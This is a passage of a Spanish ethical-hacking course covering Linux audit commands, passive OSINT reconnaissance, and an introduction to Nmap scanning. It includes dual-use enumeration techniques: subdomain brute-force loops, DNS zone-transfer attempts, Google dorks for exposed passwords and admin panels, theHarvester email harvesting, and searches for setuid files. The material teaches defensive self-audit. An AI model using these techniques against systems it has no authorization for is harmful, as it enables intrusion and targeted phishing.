SESIÓN #: ____ FECHA: ____ DURACIÓN: ____
OBJETIVO:
ALCANCE (IPs/sistemas autorizados):
HERRAMIENTAS Y COMANDOS (con parámetros exactos):
RESULTADOS (salidas clave, rutas de archivos):
HALLAZGOS:
ERRORES Y CÓMO LOS RESOLVÍ:
DUDAS PARA INVESTIGAR:
PRÓXIMA SESIÓN:

Llenarla te toma 5 minutos y vale oro: es tu memoria externa, tu evidencia de trabajo y la base de tus futuros informes. Los profesionales facturan con base en bitácoras así.

Taller avanzado: referencia de comandos del auditor (con ejemplos)

Guarda esta sección como tu acordeón. Todos los comandos se practican en tu Kali.

Archivos y navegación (nivel intermedio)

```
# Buscar archivos por nombre en todo el sistema
find /etc -name "*.conf" 2>/dev/null | head -20

# Buscar texto dentro de archivos (el grep es tu lupa)
grep -r "password" ~/laboratorio/ 2>/dev/null | head -10
grep -i "failed" /var/log/auth.log | tail -5

# Ver archivos grandes por partes
less /var/log/syslog          # navega con flechas, sal con q
head -20 archivo.txt         # primeras 20 líneas
tail -f /var/log/syslog      # sigue el log en vivo (Ctrl+C para salir)
wc -l archivo.txt            # cuenta líneas

# Comparar archivos (¿qué cambió?)
diff archivo1.txt archivo2.txt

# Comprimir y descomprimir
tar -czf respaldo.tar.gz ~/laboratorio/
tar -xzf respaldo.tar.gz
```

Redirección y tuberías (el superpoder de bash)

```
# > guarda salida, >> agrega, < alimenta entrada
nmap -sn 10.0.2.0/24 > hosts.txt
echo "nota" >> bitacora.txt

# | conecta comandos: la salida de uno alimenta al otro
cat /var/log/auth.log | grep "Failed" | wc -l    # ¿cuántos intentos fallidos?
ss -tulpn | grep LISTEN                        # solo lo que escucha
ps aux | grep -i nmap                          # ¿hay un nmap corriendo?

# Combinaciones de auditor: top de IPs con más intentos fallidos
grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c |
sort -nr | head -10
```

Esa última línea es oro puro: te dice qué IPs te atacan más. Aprende a leerla por partes: grep filtra, awk extrae la IP, sort+uniq cuenta, sort -nr ordena. Los auditores viven de tuberías así.

Procesos y sistema

```
ps aux | head -20      # procesos corriendo
top                    # monitor en vivo (q para salir)
htop                   # versión amigable (si está instalado)
df -h                  # espacio en disco
free -h                # memoria
uptime                 # tiempo encendido y carga
uname -a               # versión del kernel
lscpu | head -10       # info del procesador
```

Permisos en la práctica

```
# Cambiar permisos: 755 (programas), 644 (archivos), 600 (secretos)
chmod 600 ~/.ssh/id_rsa
chmod +x miscript.sh

# Cambiar dueño
sudo chown kali:kali archivo.txt

# Encontrar archivos peligrosos: escribibles por todos
find / -xdev -type f -perm -0002 2>/dev/null | head -20

# Encontrar setuid (revisar uno por uno)
find / -xdev -type f -perm -4000 2>/dev/null
```

Red desde terminal (tu kit diario)

```
# Mi configuración
ip -brief a
ip route show

# ¿Llego? ¿resuelvo?
ping -c 3 8.8.8.8
ping -c 3 google.com
getent hosts ejemplo.com

# ¿Qué escucha? ¿a dónde conecto?
ss -tulpn
ss -tupn | grep ESTAB

# Ruta que siguen mis paquetes
traceroute google.com
mtr --report google.com # si está instalado

# Descargas y pruebas web
curl -I https://ejemplo.com # solo cabeceras HTTP
wget https://ejemplo.com/archivo # descargar
```

Script de auditoría completo (proyecto)

```
#!/bin/bash
# auditoria-diaria.sh - revisión rápida de salud del sistema
# Ejecutar como root o con sudo
echo "==== $(date) ====="
echo "--- Actualizaciones pendientes ---"
apt list --upgradable 2>/dev/null | head -10
echo "--- Últimos logins ---"
last -10
echo "--- Intentos SSH fallidos (hoy) ---"
grep "Failed password" /var/log/auth.log | wc -l
echo "--- Puertos escuchando ---"
ss -tulpn | grep LISTEN
echo "--- Espacio en disco ---"
df -h / | tail -1
```

Guárdalo, hazlo ejecutable, ejecútalo cada semana en tu laboratorio. Cuando administres sistemas reales, scripts así son tu primera línea de defensa.

Resumen de la unidad

Tu laboratorio es una o más máquinas virtuales aisladas donde puedes practicar sin riesgo. VirtualBox es el hipervisor gratuito recomendado; Kali Linux es tu plataforma de auditoría con cientos de herramientas. Usa red NAT de laboratorio para aislar tus prácticas, toma snapshots antes de experimentar, actualiza el sistema con frecuencia y nunca expongas tus máquinas de práctica a redes ajenas. La terminal es tu herramienta principal: domina `pwd`, `ls`, `cd`, `mkdir`, `cat`, `sudo`, `apt`, `ip` y `ping` antes de seguir. Metasploitable será tu víctima de entrenamiento en las próximas unidades. Y la regla de oro: el laboratorio es el único lugar donde rompes cosas; fuera de él, autorización escrita o nada.

En la Unidad 3 empezarás la primera fase de un pentest real: el reconocimiento. Aprenderás a recopilar información pública sobre un objetivo autorizado como un detective digital.

UNIDAD 3: Reconocimiento y footprinting

Todo ataque real empieza mucho antes del primer comando técnico: empieza con información. Los delincuentes no eligen víctimas al azar; las estudian. Revisan qué publica la empresa, qué tecnologías usa su sitio web, qué empleados presumen en redes sociales, qué documentos olvidaron en un servidor público. El reconocimiento es la fase de detective del pentest, y como defensor te interesa dominarla por una razón poderosa: todo lo que un atacante puede averiguar de ti en internet, tú deberías saberlo primero para poder corregirlo.

Hay una frase famosa en seguridad: "el atacante solo necesita tener razón una vez; el defensor tiene que tener razón siempre". El reconocimiento es como el atacante consigue su primera razón. Si tu empresa publica en su web el modelo exacto de su firewall, el atacante ya sabe qué vulnerabilidades buscar. Si un empleado sube a redes una foto de su gafete con el código de acceso visible, el atacante ya tiene una llave. Tu trabajo en esta unidad es aprender a ver tu propia organización con ojos de atacante, para cerrar esas fugas de información antes que él.

Explicación detallada

Reconocimiento pasivo vs activo

El reconocimiento pasivo es recopilar información sin tocar directamente los sistemas del objetivo: consultas WHOIS, registros DNS públicos, buscadores, redes sociales, archivos públicos. Es como observar una casa desde la calle: legal, silencioso, invisible. La mayor parte del reconocimiento profesional es pasivo, y es donde más "oro" se encuentra con menos riesgo.

El reconocimiento activo es interactuar directamente con los sistemas: escanear puertos, hacer ping, conectarse a servicios. Eso ya "toca la puerta" y puede ser detectado y registrado. En un pentest autorizado está permitido dentro del alcance; fuera de autorización, no lo hagas. La regla práctica: todo lo de esta unidad es pasivo y seguro para practicar con objetivos públicos (tu propio dominio, tu propia empresa con permiso); el escaneo activo lo veremos en la Unidad 4, solo contra tu laboratorio.

WHOIS: la ficha de identidad de un dominio

Cada dominio registrado tiene una ficha WHOIS pública con datos del registrante, fechas de creación y vencimiento, y los servidores de nombres. Antes, estas fichas mostraban correos y

teléfonos reales (una mina de oro para atacantes y para spam); hoy la privacidad GDPR oculta muchos datos, pero siguen revelando información útil: antigüedad del dominio, registrador, servidores DNS y a veces la organización.

Como defensor, revisa el WHOIS de tus propios dominios: ¿muestra datos personales que preferirías ocultar? ¿La fecha de vencimiento está próxima? (Un dominio vencido que alguien más registra es un desastre de seguridad y de marca.) Los comandos `whois` en Kali te muestran la ficha completa.

DNS: el directorio telefónico de internet

El DNS traduce nombres (lucasegaacademy.com) a direcciones IP. Pero los servidores DNS guardan mucho más: registros MX (servidores de correo), TXT (verificaciones y políticas como SPF), NS (servidores de nombres), y a veces subdominios olvidados que apuntan a servicios viejos y vulnerables.

Dos técnicas clásicas de reconocimiento DNS:

Enumeración de registros: consultar todos los tipos de registro de un dominio para mapear su infraestructura. Herramientas: `dig`, `nslookup`, `host`.

Descubrimiento de subdominios: probar nombres comunes (www, mail, ftp, admin, test, dev, staging...) para encontrar servicios expuestos. Los subdominios olvidados ("test.ejemplo.com" de un proyecto de 2019 que nadie apagó) son una de las puertas de entrada favoritas de los atacantes. Como defensor, debes tener un inventario completo de tus subdominios; si encuentras uno que no reconoces, investiga de inmediato.

Transferencia de zona: una mala configuración antigua permitía descargar la lista completa de registros DNS de un servidor. Hoy es rara, pero cuando la encuentras es oro puro. Probarla contra tus propios servidores es una verificación defensiva válida.

Google dorks: el buscador como herramienta de auditoría

Los operadores avanzados de Google (llamados "dorks") permiten buscar información expuesta accidentalmente. Ejemplos de operadores: `site:` (limitar a un dominio), `filetype:` (buscar PDFs, hojas de cálculo), `intitle:`, `inurl:`, y combinaciones. Un auditor defensivo los usa contra su propia organización: `site:tuempresa.com filetype:pdf` puede revelar documentos internos indexados por error; `site:tuempresa.com inurl:admin` puede mostrar paneles administrativos expuestos.

La base de datos GHDB (Google Hacking Database) recopila cientos de estas búsquedas con fines educativos y defensivos. Úsala para auditar tu propia exposición, nunca para curiosear en otros.

Advertencia ética importante: encontrar información pública no te autoriza a usarla para atacar. Que un documento esté indexado en Google no significa que tengas permiso de explotar lo que contiene. Úsalo para defender lo tuyo.

Redes sociales y huella digital

Las personas publican más de lo que creen: fotos de la oficina donde se ve la marca del router, capturas de pantalla con IPs internas, anuncios de "buscamos administrador de firewall marca X" (que revela tu tecnología), currículums que detallan la infraestructura. Como defensor, haz este ejercicio con tu propia empresa cada seis meses: busca qué información pública existe y evalúa si le sirve a un atacante. Y educa a tu equipo: la concientización empieza aquí (profundizaremos en la Unidad 7).

theHarvester: cosechando información pública

theHarvester es una herramienta de Kali que automatiza la recolección de correos electrónicos, subdominios y nombres de empleados a partir de fuentes públicas (buscadores, redes profesionales). Es reconocimiento pasivo puro: no toca tus sistemas, solo consulta fuentes públicas. Su uso defensivo: ejecútala contra tu propio dominio y sorpréndete de cuántos correos y subdominios expone internet sobre tu organización. Cada correo encontrado es un posible objetivo de phishing (Unidad 7); cada subdominio, un posible punto de entrada.

Footprinting de red: rangos IP y ASN

Las empresas tienen rangos de direcciones IP asignados. Servicios públicos (y comandos como `whois` sobre una IP) revelan qué rangos pertenecen a una organización. Conocer tus propios rangos es básico para defenderte: debes saber qué es tuyo para monitorearlo. Si descubres una IP tuya que no reconocías, puede ser un servidor olvidado o, peor, infraestructura no autorizada (shadow IT).

El entregable del reconocimiento: el mapa del objetivo

Un buen reconocimiento termina con un documento: dominios y subdominios encontrados, IPs y rangos, tecnologías identificadas (servidor web, lenguaje, CMS), correos y personas clave (públicas), documentos expuestos, y una lista de "cosas que me preocupan". Ese mapa alimenta la fase de escaneo (Unidad 4). Acostúmbrate a producirlo: en tu cuaderno de laboratorio, cada práctica de reconocimiento termina con su mapa.

Marco ético de la unidad

Todo lo de esta unidad es pasivo y trabaja con información pública, así que es seguro practicarlo con tu propio dominio o con dominios de ejemplo. Aun así, dos límites: uno, no uses la información encontrada para intentar accesos no autorizados; dos, si durante tu investigación encuentras datos sensibles de terceros expuestos por accidente, no los difundas ni los explotes: repórtalos por los canales adecuados. Ser sombrero blanco también es saber qué hacer con lo que encuentras por accidente.

Errores comunes

Quedarse solo con herramientas automáticas y no verificar manualmente: las herramientas dan candidatos, el analista confirma.

No documentar fuentes: anota de dónde salió cada dato; en un reporte profesional las fuentes importan.

Confundir "público" con "autorizado para atacar": ver no es tocar.

Olvidar auditar la propia exposición periódicamente: el reconocimiento defensivo no es de una sola vez, es un hábito.

Ejemplos paso a paso

Practica con tu propio dominio (si tienes uno) o con dominios públicos de ejemplo como example.com. Todo es pasivo.

Ejemplo 1: Ficha WHOIS de un dominio

```
# Información del registro de un dominio
whois example.com | head -40
```

```
# Busca en la salida: registrador, fechas de creación/vencimiento,
# servidores de nombres. Pregúntate: ¿qué aprendería un atacante de esto?
```

Ejemplo 2: Registros DNS con dig

```
# Todos los registros disponibles de un dominio
dig example.com ANY +noall +answer

# Registros específicos (los más reveladores para un defensor)
dig example.com MX +short      # servidores de correo
dig example.com TXT +short     # políticas SPF, verificaciones
dig example.com NS +short      # servidores de nombres

# DNS inverso de una IP (qué nombre tiene esa IP)
dig -x 93.184.216.34 +short
```

Ejemplo 3: Descubrimiento de subdominios (pasivo, con listas)

```
# Con una lista de palabras comunes, consulta cuáles resuelven.
# Crea primero tu lista:
cat > subdominios.txt << 'EOF'
www
mail
ftp
admin
test
dev
staging
blog
api
vpn
intranet
webmail
EOF

# Consulta cada uno contra tu PROPIO dominio (cámbialo aquí)
for sub in $(cat subdominios.txt); do
    ip=$(dig +short $sub.tudominio.com | head -1)
    [ -n "$ip" ] && echo "$sub.tudominio.com -> $ip"
done
```

Esto es ruidoso si lo haces contra terceros sin permiso; contra tu propio dominio es una auditoría defensiva perfecta. Cada subdominio que resuelva y no reconozcas es un hallazgo.

Ejemplo 4: theHarvester contra tu dominio

```
# Recolecta correos y subdominios de fuentes públicas (pasivo)
theHarvester -d tudominio.com -b all -l 100

# Revisa la salida: ¿cuántos correos corporativos están expuestos?
# Cada uno es un posible blanco de phishing: anótalo para la Unidad 7.
```

Ejemplo 5: Google dorks defensivos

En tu navegador, con tu propio dominio, prueba:

```
site:tudominio.com filetype:pdf
site:tudominio.com inurl:admin
site:tudominio.com "contraseña" OR "password"
```

Documenta cada resultado preocupante. Si aparece un documento interno indexado, tu acción defensiva es pedir su eliminación del índice y revisar por qué era público.

Ejemplo 6: Construir tu mapa del objetivo

```
# Plantilla de mapa de reconocimiento (guárdala en tu cuaderno)
cat > ~/laboratorio/mapa-reconocimiento.txt << 'EOF'
MAPA DE RECONOCIMIENTO
Objetivo (propio/autorizado): _____
Fecha: _____
DOMINIOS Y SUBDOMINIOS ENCONTRADOS:
IPS Y RANGOS:
TECNOLOGÍAS IDENTIFICADAS (servidor web, CMS, lenguaje):
CORREOS EXPUESTOS:
DOCUMENTOS PÚBLICOS PREOCUPANTES:
HALLAZGOS QUE REQUIEREN ACCIÓN:
EOF
cat ~/laboratorio/mapa-reconocimiento.txt
```

Profundización: OSINT avanzado para defensores

Registros DNS al completo (tu diccionario)

Además de A (nombre a IPv4), MX, TXT y NS, un defensor debe conocer: AAAA (IPv6), CNAME (alias: `www` apunta a otro nombre), SOA (información de la zona: servidor primario y contacto), SRV (servicios específicos como mensajería), PTR (inverso: IP a nombre), CAA (qué autoridades pueden emitir certificados para tu dominio: contrólalo para evitar certificados fraudulentos) y DNSSEC (firmas que evitan manipulación de respuestas). Audita los tuyos con `dig dominio TIPO +short` y pregúntate de cada uno: ¿debe existir? ¿revela algo sensible? ¿está correcto?

Certificate Transparency: tus certificados (y los falsos)

Cada vez que alguien emite un certificado TLS para un dominio, queda registrado en logs públicos de Certificate Transparency (busca "crt.sh"). Úsalo defensivamente: consulta tu dominio periódicamente; si aparece un certificado que tú no emitiste, alguien podría estar suplantándote. Es un monitoreo gratuito y potentísimo que pocos usan.

Wayback Machine: tu pasado expuesto

web.archive.org guarda copias históricas de sitios web. Como defensor, revisa versiones viejas de tu sitio: ¿alguna expuso información que luego quitaste pero sigue archivada? ¿formularios con datos de prueba? No puedes borrar el archivo, pero sí saber qué hay y mitigar (cambiar credenciales expuestas, por ejemplo). Como atacante (no lo hagas sin autorización), sería una mina de información: por eso debes conocerla primero.

Shodan: el buscador de dispositivos (uso defensivo)

Shodan indexa dispositivos conectados a internet: cámaras, routers, servidores con puertos abiertos. Su uso legítimo es defensivo: busca tus propias IPs y verifica qué ve el mundo de tu infraestructura. Si tu cámara o tu router aparecen ahí expuestos, tienes un problema urgente. Regla: consulta solo tus propios activos; husmear en ajenos para atacarlos es ilegal.

SPF, DKIM y DMARC: que no suplanten tu correo

Son tres registros DNS que evitan que otros envíen correo haciéndose pasar por tu dominio (base del phishing contra tus clientes):

- SPF (registro TXT): lista qué servidores pueden enviar correo por tu dominio.
- DKIM: firma criptográfica que prueba que el correo no fue alterado.

- DMARC: política que dice qué hacer si SPF/DKIM fallan (nada, cuarentena o rechazo) y a dónde enviar reportes.

Verifícalos en tu dominio con `dig dominio TXT +short` y en herramientas online de validación. Un dominio sin estos tres es suplantable: si tu empresa envía correos a clientes, configurarlos es obligatorio, no opcional.

Bases de filtraciones: ¿tus credenciales ya se filtraron?

Servicios como Have I Been Pwned permiten verificar (con tu correo) si tus credenciales aparecieron en filtraciones públicas. Úsalo para ti y, con autorización, para auditar cuentas corporativas: si el correo de un directivo aparece en filtraciones con contraseña reutilizada, es un riesgo directo (credential stuffing, Unidad 6). La acción defensiva: cambio inmediato + MFA.

El informe de exposición: producto de tu OSINT defensivo

Convierte tu reconocimiento en un informe trimestral para tu organización (o para ti): dominios y subdominios (¿hay nuevos desconocidos?), certificados emitidos, documentos indexados, correos expuestos, dispositivos visibles en Shodan, estado de SPF/DKIM/DMARC, y hallazgos con acciones. Este informe recurrente es un servicio profesional vendible y una práctica defensiva de primer nivel.

Caso de estudio: el subdominio olvidado

Patrón real y repetido: una empresa lanza `pruebas.ejemplo.com` para un proyecto, el proyecto termina, nadie apaga el servidor. Años después sigue ahí, con software desactualizado y a veces con credenciales por defecto, pero ya nadie lo monitorea. Un atacante lo encuentra con enumeración de subdominios (técnica de esta unidad) y entra por la puerta trasera olvidada. La defensa: inventario vivo de activos digitales, con responsable y fecha de baja para cada servicio temporal. Cuando des de alta algo temporal, agenda su baja el mismo día.

Glosario de la unidad

OSINT: inteligencia de fuentes abiertas (públicas). Footprinting: mapa de la presencia digital de un objetivo. Dork: búsqueda avanzada con operadores. WHOIS: registro público de dominios e IPs. Banner grabbing: leer la "presentación" de un servicio (versión). Shadow IT: tecnología usada sin autorización del área de TI. Superficie de exposición: todo lo tuyo visible públicamente.

Práctica

Ejercicio 1: WHOIS de tu dominio

Ejecuta ``whois`` contra tu propio dominio (o `example.com`) y responde: ¿quién es el registrador? ¿cuándo vence? ¿qué servidores de nombres usa? ¿Hay datos personales expuestos?

Solución: La salida varía por dominio. Lo importante: identifica esos cuatro datos y evalúa la exposición. Acción defensiva derivada: si hay datos personales, activa la protección de privacidad del registrador; si el vencimiento está a menos de 60 días, renueva y activa la renovación automática. Un dominio vencido es una vulnerabilidad de negocio.

Ejercicio 2: Radiografía DNS

Con ``dig``, obtén los registros MX, TXT y NS de tu dominio. Explica con tus palabras qué revela cada uno a un atacante.

Solución: MX revela quién maneja tu correo (objetivo para phishing o ataques al servidor de correo). TXT puede revelar tu proveedor de correo y políticas SPF (útil para suplantación si el SPF está mal configurado). NS revela tu proveedor DNS (objetivo para ataques de secuestro de DNS). Como defensor, verifica que el SPF esté bien configurado y que no haya registros TXT con información sensible.

Ejercicio 3: Caza subdominios

Usa el script del Ejemplo 3 contra tu propio dominio con una lista ampliada a 30 palabras (agrega: `portal`, `secure`, `login`, `dashboard`, `git`, `jira`, `confluence`, `backup`, `old`, `beta`, `demo`, `shop`, `app`, `cdn`, `static`, `media`, `support`, `help`, `docs`, `status`).

Solución: Compara los que resuelven contra tu inventario oficial de servicios. Cada subdominio que resuelve y NO está en tu inventario es un hallazgo: investiga qué servicio es, quién lo puso ahí y si debe seguir público. Este es uno de los ejercicios defensivos de mayor valor real de todo el libro.

Ejercicio 4: theHarvester en acción

Ejecuta theHarvester contra tu dominio y cuenta correos y subdominios encontrados. Para cada correo, pregúntate: ¿esta persona sabría reconocer un phishing? (Lo trabajarás en la Unidad 7.)

Solución: No hay número "correcto"; lo valioso es la lista. Acción defensiva: los correos expuestos deben recibir capacitación anti-phishing prioritaria, y considera usar formularios de contacto en vez de correos directos en tu web pública.

Ejercicio 5: Dorks defensivos

Ejecuta los tres Google dorks del Ejemplo 5 contra tu dominio (o contra un dominio de prueba si no tienes uno). Documenta hallazgos.

Solución: Si no hay resultados preocupantes, excelente: tu exposición es baja. Si aparecen documentos o paneles, documenta cada uno con su URL y define la acción: restringir acceso, pedir desindexación en Google Search Console, o mover el recurso a una zona autenticada. Repite este ejercicio cada 3 meses.

Ejercicio 6: Mapa completo

Elabora el mapa de reconocimiento completo de tu dominio usando la plantilla del Ejemplo 6, combinando WHOIS, DNS, subdominios, theHarvester y dorks.

Solución: Tu mapa debe tener las 7 secciones llenas. Este documento es exactamente el entregable de la fase 1 de un pentest real. Guárdalo: en la Unidad 4 lo usarás para decidir qué escanear, y en la Unidad 10 verás cómo estos mapas se convierten en parte del informe final.

Caso práctico integral: investigación OSINT completa (empresa ficticia)

Vamos a investigar a "Café Aroma S.A." (ficticia, de la Unidad 1) como si fuera tu cliente autorizado que quiere conocer su exposición pública. Sigue cada paso en tu laboratorio con dominios de ejemplo y adapta a casos reales autorizados.

Paso 1: WHOIS y datos básicos. ``whois cafearoma.example`` revela registrador, creación hace 6 años, vencimiento en 40 días (alerta administrativa) y servidores de nombres del proveedor. Anotas: renovar ya y activar renovación automática.

Paso 2: DNS completo. ``dig`` por tipos: A (IP del hosting compartido: vecinos de IP potencialmente riesgosos), MX (Google Workspace: bien), TXT (SPF presente pero sin DMARC: hallazgo, suplantable), NS (proveedor conocido). Ningún DNSSEC.

Paso 3: Subdominios. Con tu lista de 30 palabras encuentras: `www`, `tienda`, `mail`, y ``pruebas`` (responde con un panel de login viejo) y ``dev`` (muestra un directorio listado con backups .zip: hallazgo grave). Cada uno va al mapa con su estado.

Paso 4: theHarvester. 12 correos (formato nombre.apellido@), 2 subdominios extra no encontrados por diccionario. Los correos alimentan tu futuro programa anti-phishing.

Paso 5: Dorks defensivos. ``site:cafearoma.example filetype:pdf`` muestra "precios-mayoristas-2023.pdf" (estrategia comercial expuesta) y ``inurl:admin`` muestra el login de ``pruebas``. Documentas URLs exactas.

Paso 6: Certificados (crt.sh). Aparecen certificados para ``tienda``, ``www`` y uno para ``intranet`` que nadie recuerda (¿servidor interno expuesto? investigar).

Paso 7: Redes sociales. La empresa publica fotos donde se ve la marca del router de la matriz y un empleado presume su gafete con código visible (material para tu capacitación de la Unidad 7).

Paso 8: Informe de exposición. Compilas todo en el formato trimestral: 9 hallazgos priorizados, cada uno con evidencia, riesgo y acción concreta con responsable. Este documento, entregado al dueño, justifica tu trabajo mejor que cualquier discurso.

Lección maestra del caso: el 80% de los hallazgos salieron de fuentes públicas y gratuitas, sin tocar un solo sistema del cliente. El reconocimiento pasivo bien hecho ya es un servicio profesional vendible por sí solo ("auditoría de exposición pública").

Herramientas OSINT extra (conócelas por nombre)

Maltego: visualiza relaciones entre dominios, correos, personas e IPs en grafos. Recon-ng: framework modular de reconocimiento en terminal. Shodan (defensivo, tus activos). Censys: similar a Shodan. BuiltWith/Wappalyzer: detectan tecnologías de un sitio web (útil para saber qué usa tu propio sitio... y qué ve un atacante). No necesitas dominarlas todas hoy; cuando un proyecto lo pida, ya sabes que existen y para qué sirven.

Plantilla de informe de exposición pública

INFORME DE EXPOSICIÓN PÚBLICA

Cliente: ____ Período: ____ Analista: ____

1. RESUMEN (semáforo + 3 hallazgos top en lenguaje de negocio)
2. DOMINIOS Y DNS (tabla: dominio, registros clave, observaciones)
3. SUBDOMINIOS (tabla: subdominio, estado, riesgo, acción)
4. CORREOS Y PERSONAS EXPUESTAS (conteo + recomendaciones de capacitación)
5. DOCUMENTOS Y RECURSOS INDEXADOS (URLs + acción: restringir/desindexar)
6. CERTIFICADOS (lista + anomalías)
7. CORREO (SPF/DKIM/DMARC: estado y correcciones)
8. PLAN DE ACCIÓN PRIORIZADO (qué, quién, cuándo)

Anexo: metodología y herramientas usadas.

Guárdala: es un entregable real que puedes ofrecer como servicio independiente.

Errores avanzados que debes evitar

Confiar ciegamente en una sola fuente: cruza siempre (el WHOIS puede estar desactualizado, el DNS cacheado). No fechar tus hallazgos: internet cambia; todo dato lleva fecha. Mezclar datos de homónimos: verifica que el "Juan Pérez" es el de tu cliente. Guardar datos personales innecesarios: minimiza (privacidad también aplica a tu investigación). Y el peor: usar lo encontrado para fines no autorizados. Tu licencia OSINT es defensiva.

Taller avanzado: comandos OSINT y técnicas de verificación

Kit de comandos DNS completo (tu navaja de reconocimiento)

```
# Barrido completo de registros comunes de TU dominio
for tipo in A AAAA MX TXT NS SOA CAA SRV; do
    echo "=== $tipo ==="
    dig +short tudominio.com $tipo
done

# Intentar transferencia de zona (auditoría defensiva: debe FALLAR en
# servidores bien configurados; si funciona, es hallazgo)
dig axfr tudominio.com @ns1.tuproveedor.com

# Rastrear la delegación completa (¿quién responde cada nivel?)
dig +trace tudominio.com | head -40

# DNS inverso de un rango propio (¿qué nombres tienen tus IPs?)
for i in $(seq 1 20); do
    dig +short -x 192.168.1.$i
done

# Verificar propagación / coherencia entre tus NS
for ns in ns1.proveedor.com ns2.proveedor.com; do
    echo "=== $ns ==="
    dig +short tudominio.com A @$ns
done
```

Verificación de correo (SPF/DKIM/DMARC) en una pasada

```
# Los tres pilares antiseñuelo de tu dominio
dig +short tudominio.com TXT | grep -i spf
dig +short _dmarc.tudominio.com TXT
# DKIM: el selector lo sabes tú (ej: google._domainkey)
dig +short google._domainkey.tudominio.com TXT

# Interpretación rápida:
# - Sin SPF: cualquiera puede decir que envía como tú -> hallazgo alto
# - Sin DMARC o con p=none: no se bloquea la suplantación -> hallazgo medio
# - Con p=reject: bien configurado
```

Enumeración web pasiva (qué ve el mundo de tu sitio)

```
# Cabeceras HTTP: ¿qué servidor y versión anuncias?
curl -sI https://tudominio.com | grep -iE "server|x-powered"

# Certificado: ¿para qué nombres es válido? ¿cuándo vence?
echo | openssl s_client -connect tudominio.com:443 2>/dev/null | openssl x509
-noout -subject -issuer -dates

# Tecnologías del sitio (pasivo, solo lees lo público)
# Compara cabeceras, robots.txt y código visible:
curl -s https://tudominio.com/robots.txt
```

Si tu servidor anuncia "Apache 2.4.49" con fecha de 2021, ya sabes qué buscar en la Unidad 5. Lo que tú ves, el atacante también.

Verificación cruzada: el método de las 3 fuentes

Nunca confíes en un solo dato OSINT. Para cada afirmación importante (ej: "este subdominio existe"), verifícala en 3 fuentes independientes: tu diccionario DNS + theHarvester + crt.sh, por ejemplo. Si las 3 coinciden, es sólido; si solo 1, es candidato a verificar manualmente. Este método te salva de reportar fantasmas y es lo que distingue un informe profesional de una lista de salidas de herramientas.

Documentando OSINT para el informe (formato de evidencia)

Cada hallazgo OSINT en tu informe lleva: fuente (herramienta/sitio + URL), fecha de consulta, dato encontrado (cita exacta), interpretación (qué significa para la seguridad) y acción recomendada. Ejemplo:

```
HALLAZGO OSINT-03 | Fecha: 2026-09-19
Fuente: Google (dork site:cliente.example filetype:xls)
Dato: "precios-distribuidor-2024.xls" indexado públicamente
Interpretación: lista de precios confidencial accesible a cualquiera,
    incluidos competidores.
Acción: retirar el archivo del servidor público, solicitar desindexación
    en Search Console y revisar qué más hay indexado.
```

Así se convierte una búsqueda en evidencia profesional.

Resumen de la unidad

El reconocimiento es la fase de detective del pentest: recopilar información del objetivo autorizado antes de tocarlo. El pasivo (WHOIS, DNS, buscadores, redes sociales, theHarvester) no interactúa con los sistemas y es invisible; el activo sí los toca y lo verás en la Unidad 4. Como defensor, audita tu propia exposición: tu WHOIS, tus registros DNS, tus subdominios (busca los olvidados), tus documentos indexados en Google y tu huella en redes sociales. Todo lo que un atacante puede saber de ti, debes saberlo tú primero. El entregable es el mapa del objetivo, que alimentará el escaneo. Y recuerda: información pública no es permiso para atacar.

En la Unidad 4 pasarás al reconocimiento activo controlado: escanear tu red de laboratorio con Nmap para descubrir equipos, puertos y servicios.

UNIDAD 4: Escaneo de redes con Nmap

Si el reconocimiento fue observar la casa desde la calle, el escaneo es caminar alrededor tocando puertas y ventanas para ver cuáles están abiertas. Nmap (Network Mapper) es la herramienta que hace eso en el mundo digital, y es tan fundamental que dominarla es casi un requisito para cualquier trabajo en seguridad. Es gratuita, legal, de código abierto, y la usan tanto administradores como pentesters en todo el mundo.

Piensa en un edificio de oficinas con 65,535 puertas (ese es el número de puertos TCP posibles). Un atacante quiere saber qué puertas existen, cuáles están abiertas y qué hay detrás de cada una. Hacerlo a mano tomaría una eternidad; Nmap lo hace en minutos, de forma sistemática, y además te dice qué "negocio" opera detrás de cada puerta abierta (qué servicio y qué versión). Como defensor, necesitas este mismo mapa de tu propia red: no puedes proteger lo que no sabes que está expuesto.

Esta es la primera unidad donde tocas sistemas activamente, así que la regla se vuelve crítica: solo escanea tu laboratorio (tu Kali contra tu Metasploitable), tu propia red casera o sistemas con autorización escrita. Escanear redes ajenas sin permiso es intrusivo, puede disparar alarmas de seguridad y puede ser ilegal. Tu laboratorio existe exactamente para esto.

Explicación detallada

Qué es un puerto (la base de todo)

Cuando dos computadoras se comunican por red, no basta con la dirección IP: la IP identifica la máquina, pero dentro de ella pueden correr muchos servicios (web, correo, archivos...). Los puertos son los "números de puerta" que distinguen cada servicio: la IP es el edificio, el puerto es el número de oficina.

Los puertos van del 0 al 65535. Los del 0 al 1023 son "bien conocidos" y están reservados para servicios estándar: 21 (FTP), 22 (SSH), 23 (Telnet), 25 (SMTP/correo), 53 (DNS), 80 (HTTP/web), 110 (POP3), 143 (IMAP), 443 (HTTPS/web seguro), 3306 (MySQL). Los del 1024 al 49151 son registrados para aplicaciones específicas, y del 49152 al 65535 son dinámicos o privados.

Un puerto puede estar en tres estados según Nmap: abierto (hay un servicio respondiendo: puerta abierta), cerrado (la máquina respondió que no hay nada ahí: puerta cerrada pero el edificio existe), o filtrado (no hubo respuesta: probablemente un firewall está bloqueando; no sabes si hay puerta o no). Para un defensor, cada puerto abierto es una pregunta obligada: ¿este servicio debe estar expuesto? ¿Está actualizado? ¿Tiene contraseña fuerte?

Cómo funciona un escaneo: el apretón de manos TCP

Para entender los tipos de escaneo necesitas saber cómo dos máquinas inician una conversación TCP, el famoso "apretón de manos de tres pasos" (three-way handshake):

1. Tu máquina envía un paquete SYN ("¿quieres hablar?").
2. Si el puerto está abierto, la otra máquina responde SYN-ACK ("sí, hablemos").
3. Tu máquina responde ACK ("perfecto, empezamos") y la conexión queda establecida.

Nmap juega con este protocolo de formas ingeniosas para deducir el estado de los puertos.

Tipos de escaneo principales

Escaneo SYN (sigiloso, `-sS``): envía SYN y, si recibe SYN-ACK, responde con RST (reset) en lugar de completar la conexión. Es como tocar la puerta y salir corriendo cuando alguien responde: sabes que hay alguien, pero nunca "entraste". Es rápido y muchos registros lo detectan menos (aunque los sistemas modernos sí lo detectan). Requiere permisos de administrador (sudo). Es el tipo por defecto cuando corres Nmap como root y el más usado en pentests.

